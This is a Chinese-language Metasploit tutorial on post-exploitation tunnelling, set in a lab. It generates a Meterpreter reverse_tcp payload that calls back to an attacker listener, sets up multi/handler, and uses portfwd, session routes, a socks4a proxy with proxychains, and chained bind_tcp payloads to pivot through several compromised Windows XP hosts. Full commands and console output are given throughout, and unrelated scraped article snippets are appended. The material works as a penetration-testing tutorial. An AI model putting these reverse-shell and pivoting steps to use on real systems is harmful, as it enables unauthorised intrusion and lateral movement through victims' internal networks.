Metasploit渗透技巧:后渗透Meterpreter代理

前言

Metasploit是一个免费的、可下载的渗透测试框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击测试。它本身附带数百个已知软件漏洞的专业级漏洞攻击测试工具。

当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来测试那些未打过补丁或者刚刚打过补丁的漏洞。

正是因为Metasploit团队一直都在努力开发各种攻击测试工具,并将它们贡献给所有Metasploit用户,软件厂商再也不能推迟发布针对已公布漏洞的补丁了。

本文将科普下metasploit隧道代理的使用技巧。

0×00 获取meterpreter

1.首先生成可执行文件

[email protected]:~# msfpayload windows/meterpreter/reverse_tcp  LHOST=192.168.101.105 LPORT=444 X > meter.exe
[!] ************************************************************************
[!] *               The utility msfpayload is deprecated!                  *
[!] *              It will be removed on or about 2015-06-08               *
[!] *                   Please use msfvenom instead                        *
[!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *
[!] ************************************************************************
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 281
Options: {"LHOST"=>"192.168.101.105", "LPORT"=>"444"}

2.启动msfconsole,监听反连端口

[email protected]:~# msfconsole
[*] Starting the Metasploit Framework console.../ 
Taking notes in notepad? Have Metasploit Pro track & report
your progress and findings -- learn more on http://rapid7.com/metasploit
       =[ metasploit v4.11.0-2014122301 [core:4.11.0.pre.2014122301 api:1.0.0]]
+ -- --=[ 1386 exploits - 863 auxiliary - 236 post        ]
+ -- --=[ 342 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(handler) > set LPORT 444
LPORT => 444
msf exploit(handler) > show options 
Module options (exploit/multi/handler):
Name  Current Setting  Required  Description
 ----  ---------------  --------  -----------
Payload options (windows/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     0.0.0.0          yes       The listen address
   LPORT     444              yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf exploit(handler) > run 
[*] Started reverse handler on 0.0.0.0:444 
[*] Starting the payload handler...

3.在xp-test1执行meter.exe,attacker获得 meterperter

msf exploit(handler) > run 
[*] Started reverse handler on 0.0.0.0:444 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.101.107
[*] Meterpreter session 1 opened (192.168.101.105:444 -> 192.168.101.107:48019) at 2015-01-11 12:49:11 +0800
meterpreter > ipconfig
Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1
Interface  2
============
Name         : AMD PCNET Family PCI Ethernet Adapter - pencS
Hardware MAC : 00:0c:29:ed:cf:d0
MTU          : 1500
IPv4 Address : 10.1.1.128
IPv4 Netmask : 255.255.255.0

0×01 meterpreter基本隧道代理

好,现在已经有一个反弹回来的权限,下面介绍meterpreter隧道代理的几种方法

1.portfwd

portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听.使用方法如下:

meterpreter > portfwd 
0 total local port forwards.
meterpreter > portfwd  -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
    -L <opt>  The local host to listen on (optional).
    -h        Help banner.
    -l <opt>  The local port to listen on.
    -p <opt>  The remote port to connect to.
    -r <opt>  The remote host to connect to.

使用实例介绍:

反弹10.1.1.129端口3389到本地2222并监听那么可以使用如下方法:

meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389
[*] Local TCP relay created: 0.0.0.0:2222 <-> 10.1.1.129:3389
meterpreter > portfwd 
0: 0.0.0.0:2222 -> 10.1.1.129:3389
1 total local port forwards.

已经转发成功,下面来验证下:

[email protected]:~# netstat -an | grep "2222"
tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN

可以看到已经成功监听2222端口

接着连接本地2222端口即可连接受害机器10.1.1.129 3389端口,如下:

[email protected]:~# rdesktop 127.1.1.0:2222

可以看到,已经成功连接到10.1.1.129 的3389端口

2. pivot

pivot是meterpreter最常用的一种代理,可以轻松把你的机器代理到受害者内网环境,下面介绍下pivot的搭建和使用方法

使用方法route add   目标i或ip段     Netmask 要使用代理的会话,通过实例来说明:

在metasploit添加一个路由表,目的是访问10.1.1.129将通过meterpreter的会话 1 来访问:

msf exploit(handler) > route add 10.1.1.129 255.255.255.255 1
[*] Route added
msf exploit(handler) > route print 
Active Routing Table
====================
   Subnet             Netmask            Gateway
   ------             -------            -------
   10.1.1.129         255.255.255.255    Session 1

这里如果要代理10.1.1.129/24 到session 1,则可以这么写

route add 10.1.1.0 255.255.255.0 1

到这里pivot已经配置好了,你在msf里对10.1.1.129进行扫描(db_nmap)或者访问(psexe 模块,ssh模块等)将通过代理session 1这个会话来访问。

如果想通过其他应用程序来使用这个代理怎么办呢,这时候可以借助 metasploit socks4a提供一个监听隧道供其他应用程序访问:

首先使用 socks4a并且配置,监听端口

msf exploit(handler) > use auxiliary/server/socks4a 
msf auxiliary(socks4a) > show options 
Module options (auxiliary/server/socks4a):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.
Auxiliary action:
   Name   Description
   ----   -----------
   Proxy  
msf auxiliary(socks4a) > exploit -y
[*] Auxiliary module execution completed
msf auxiliary(socks4a) > 
[*] Starting the socks4a proxy server

查看监听端口

[email protected]:~# netstat -an | grep "1080"
tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN

端口已经监听,接着配置 proxychains

[email protected]:~# vim /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# [email protected]:~# netstat -an | grep "1080"
tcp        0      0 0.0.0.0:1080            0.0.0.0:*               LISTEN 
# defaults set to "tor"
socks4  127.0.0.1 1080

配置好以后看看使用 proxychains进行代理访问,这里访问10.1.1.129 3389端口

可以看到已经成功访问

0×02  多级代理

1. 二级代理隧道

上面介绍了meterpreter基础的代理方法,但是有些实际环境不能直接使用,考虑如下环境(内网机器A、B。A机器可以对外连接,但是访问控制很严格,只能访问到很少的内网机器,B机器不能对外连接,但是可以访问到很多核心服务和机器,A、B之间可以互相访问),如果我们想通过B机器对核心服务和机器进行扫描和访问要怎么办呢?

这时候我们就meterpreter的pivot组合轻松实现二级代理就可以

效果示意图:attacker->xp-test1->xp-test2

首先接着上面,我们已经有一个xp-test1反弹回来的meterprter了,接着我们生成一个正向的执行文件

[email protected]:~# msfpayload windows/meterpreter/bind_tcp  RHOST=0.0.0.0 RPORT=4444 X > Rmeter.exe
[!] ************************************************************************
[!] *               The utility msfpayload is deprecated!                  *
[!] *              It will be removed on or about 2015-06-08               *
[!] *                   Please use msfvenom instead                        *
[!] *  Details: https://github.com/rapid7/metasploit-framework/pull/4333   *
[!] ************************************************************************
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/bind_tcp
 Length: 285
Options: {"RHOST"=>"0.0.0.0", "RPORT"=>"4444"}

生成好以后在xp-test2上面运行

接着在msf里面添加路由

msf exploit(handler) > route add 10.1.1.129 255.255.255.255 2
[*] Route added
msf exploit(handler) > route  print
Active Routing Table
====================
   Subnet             Netmask            Gateway
   ------             -------            -------
   10.1.1.129         255.255.255.255    Session 2

连接正向 meterpreter获取权限

msf exploit(handler) > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD windows//bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 10.1.1.129
RHOST => 10.1.1.129
msf exploit(handler) > show options 
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (windows/meterpreter/bind_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LPORT     444              yes       The listen port
   RHOST     10.1.1.129       no        The target address
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > show options 
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (windows/meterpreter/bind_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     10.1.1.129       no        The target address
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf exploit(handler) > run 
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (770048 bytes)
[*] Meterpreter session 3 opened (192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444) at 2015-01-11 13:34:37 +0800

现在已经获取到xp-test2的权限,注意这里是通过xp-test1 pivot代理

下面来验证下,查看xp-test2 4444端口

C:\Documents and Settings\Administrator>netstat -an | find "4444"
  TCP    10.1.1.129:4444        10.1.1.128:1051        ESTABLISHED

是通过xp-test1进行连接的。

这时候二级代理已经搭建好了,你可以添加需要访问的ip到路由表,通过第二层的session(session 3),就可以使用metaploit的其他模块访问或扫描了

2.三级或多级代理

有时候过于庞大或者复杂的内网环境,甚至需要三层或者多层代理,原理与两层相似,通过在第二层代理的基础上进行连接既可

示意图:attacket->xp-test1->xp-test2->xp-test3->…..

与两层代理类似,如下实现:

msf exploit(handler) > sessions -l
Active sessions
===============
  Id  Type                   Information                        Connection
  --  ----                   -----------                        ----------
  2   meterpreter x86/win32  XP-TEST1\Administrator @ XP-TEST1  192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128)
  4   meterpreter x86/win32  XP-TEST2\Administrator @ XP-TEST2  192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)
msf exploit(handler) > route  add 10.1.1.131 4
[-] Missing arguments to route add.
msf exploit(handler) > route  add 10.1.1.131 255.255.255.255 4
[*] Route added
msf exploit(handler) > route print 
Active Routing Table
====================
   Subnet             Netmask            Gateway
   ------             -------            -------
   10.1.1.129         255.255.255.255    Session 2
   10.1.1.131         255.255.255.255    Session 4
msf exploit(handler) > set RHOST=10.1.1.131
[-] Unknown variable
Usage: set [option] [value]
Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.
If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore
msf exploit(handler) > set RHOST 10.1.1.131
RHOST => 10.1.1.131
msf exploit(handler) > show options 
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (windows/meterpreter/bind_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     10.1.1.131       no        The target address
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf exploit(handler) > run 
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (770048 bytes)
[*] Meterpreter session 5 opened (192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444) at 2015-01-11 13:45:53 +0800
meterpreter > background 
[*] Backgrounding session 5...
msf exploit(handler) > sessions -l
Active sessions
===============
  Id  Type                   Information                        Connection
  --  ----                   -----------                        ----------
  2   meterpreter x86/win32  XP-TEST1\Administrator @ XP-TEST1  192.168.101.105:444 -> 192.168.101.107:51205 (10.1.1.128)
  4   meterpreter x86/win32  XP-TEST2\Administrator @ XP-TEST2  192.168.101.105-192.168.101.107:0 -> 10.1.1.129:4444 (10.1.1.129)
  5   meterpreter x86/win32  XP-TEST3\Administrator @ XP-TEST3  192.168.101.105-_1_-192.168.101.107:0 -> 10.1.1.131:4444 (10.1.1.131)
在xp-test3查看端口连接
C:\Documents and Settings\Administrator>netstat -an | find "4444"
  TCP    10.1.1.131:4444        10.1.1.129:1032        ESTABLISHED
在xp-test2查看4444端口
C:\Documents and Settings\Administrator>netstat -an | find "4444"
  TCP    10.1.1.129:1032        10.1.1.131:4444        ESTABLISHED
  TCP    10.1.1.129:4444        10.1.1.128:1054        ESTABLISHED
说明已经实现三级连接,即attacker->xp-test1->xp-test2->xp-test3

0×03 总结

最后,代理级数越多,带宽损耗和稳定性就会下降。渗透过程中根据实际情况自由灵活的选择和使用代理方式才能实现事半工倍的效果。

时间: 2024-11-05 13:30:24

Metasploit渗透技巧:后渗透Meterpreter代理的相关文章

渗透攻防工具篇-后渗透阶段的Meterpreter

作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit的应该对Meterpreter不陌生,作为后渗透阶段的利器,其强大之处可想而知,那么本篇文章就带大家来学习一下Meterpreter,目的在于让大家了解它的常用命令和使用方法. 贴心提示:为提高教学效果,文章内的配图大部分是GIF,担心流量的知友请尽量在WIFI环境下观看! 目录 第一节 初识Met

iOS macOS的后渗透利用工具:EggShell

EggShell是一款基于Python编写的iOS和macOS的后渗透利用工具.它有点类似于metasploit,我们可以用它来创建payload建立侦听.此外,在反弹回的session会话也为我们提供了许多额外的功能.例如文件的上传/下载,拍照,定位,shell命令执行,权限维持,提权,密码检索等.在服务器通信方面EggShell则采用了128位AES端到端的加密,并同时能够处理多个客户端程序.这是一个概念验证工具,适用于在你自己的机器上使用.有关更多详细信息请访问:http://lucasj

phpSploit后渗透利用框架介绍

今天在freebuf 上看到有一篇介绍PhpSploit的远程控制框架的文章觉得不错,就把文章超过来了.方便以后自己查找.phpsploit可以帮助攻击者在客户端与Web服务器端之间建立隐蔽性极强的交互式链接(类似Shell).简而言之,这是一款后渗透利用工具,它能够让攻击者与目标主机(例如被入侵的Web服务器)维持访问链接,并实现提权操作.概述该工具会对标准客户端请求以及Web服务器相关请求的HTTP头数据进行混淆处理,并利用一个小型的多态后门来实现隐蔽通信: <? @eval($_SERVE

msf后渗透

生成exe后门 p.p1 { margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo; color: #000000; background-color: rgba(255, 255, 255, 0.75) } span.s1 { } msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.131 lport=4444 -f exe -o 4444.ex 传到测试机执行后得到反弹sh

渗透技巧——导出Chrome浏览器中保存的密码

0x00 前言 在后渗透阶段,获得权限后需要搜集目标系统的信息.信息越全面,越有助于进一步的渗透.对于Windows系统,用户浏览器往往包含有价值的信息. 在之前的文章<本地密码查看工具LaZagne中的自定义脚本开发>曾介绍过利用LaZagne导出多个浏览器密码的方法. 本文将要针对Chrome浏览器,介绍具体的导出原理和利用方法,解决一个实际问题: 如何导出另一系统下Chrome浏览器中保存的密码? 0x01 简介 本文将要介绍以下内容: ·Chrome浏览器保存密码的方式 ·如何导出Ch

小白日记20:kali渗透测试之后渗透测试阶段(一)--上传工具

后渗透测试阶段--上传工具 为防止管理员将漏洞补上后,我们无法再通过该漏洞控制对方主机,所以需要进行后渗透测试阶段 1.上传各种工具 2.提权:为了全面控制目标系统 3.擦除攻击痕迹:防止管理员通过日志溯源追踪,发现攻击源头[除了系统日记,应用程序也会有自己的日志信息] ##删除系统日记和应用程序日记 例如:SLmail中 4.安装后门程序 实现长期控制,Dump密码,作为跳板进行内网渗透[大部分情况下,比公网渗透简单] 注:后渗透利用阶段 最大的挑战:防病毒软件[根据病毒特征库进行查杀].所以

【渗透技术】渗透测试技术分析_TomCat

[渗透技术]渗透测试技术分析_TomCat 本文转自:i春秋论坛 渗透测试-中间人攻击(原理)说起“中间人攻击”我想大多数对渗透测试又了解的朋友都多少有所了解,因为我们用到的次数真是非常的多.它可以将受害者发往服务器端的流量劫持到攻击者的计算机中,隐私得不到保证. 中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)中间人攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到今天还具有极大的扩展空间. 在网络安全方面,MITM攻击的使用是很广泛的,曾经猖獗一时的S

Spring声明式事务配置的两种策略SpringAop和Bean后处理器的代理BeanNameAutoProxyCreator

Spring的事务配置有两种:1编程式事务管理配置:2声明式事务管理配置.下面介绍两种声明式事务的配置,声明式事务相比于编程式事务代码耦合更低,无序书写任何事务管理的先关代码.两种声明式事务配置策略分别是:SpringAop事务管理和Bean后处理器的代理BeanNameAutoProxyCreator管理事务. 1.SpringAop事务管理配置 1.1.配置数据源: <bean id="pycDataSource" class="com.mchange.v2.c3p

Android渗透测试Android渗透测试入门教程大学霸

Android渗透测试Android渗透测试入门教程大学霸 第1章  Android渗透测试 Android是一种基于Linux的自由及开放源代码的操作系统,主要用于移动设备,如智能手机.平板等.目前,大部分用户都使用的是Android系统的手机.所以,学习Android渗透测试是非常重要的.用户通过对自己的Android设备进行渗透测试,可以评估自己的系统是否安全,或者是否存在有漏洞等.本章将介绍Android渗透测试的基础知识本文选自Android渗透测试入门教程大学霸内部资料. 1.1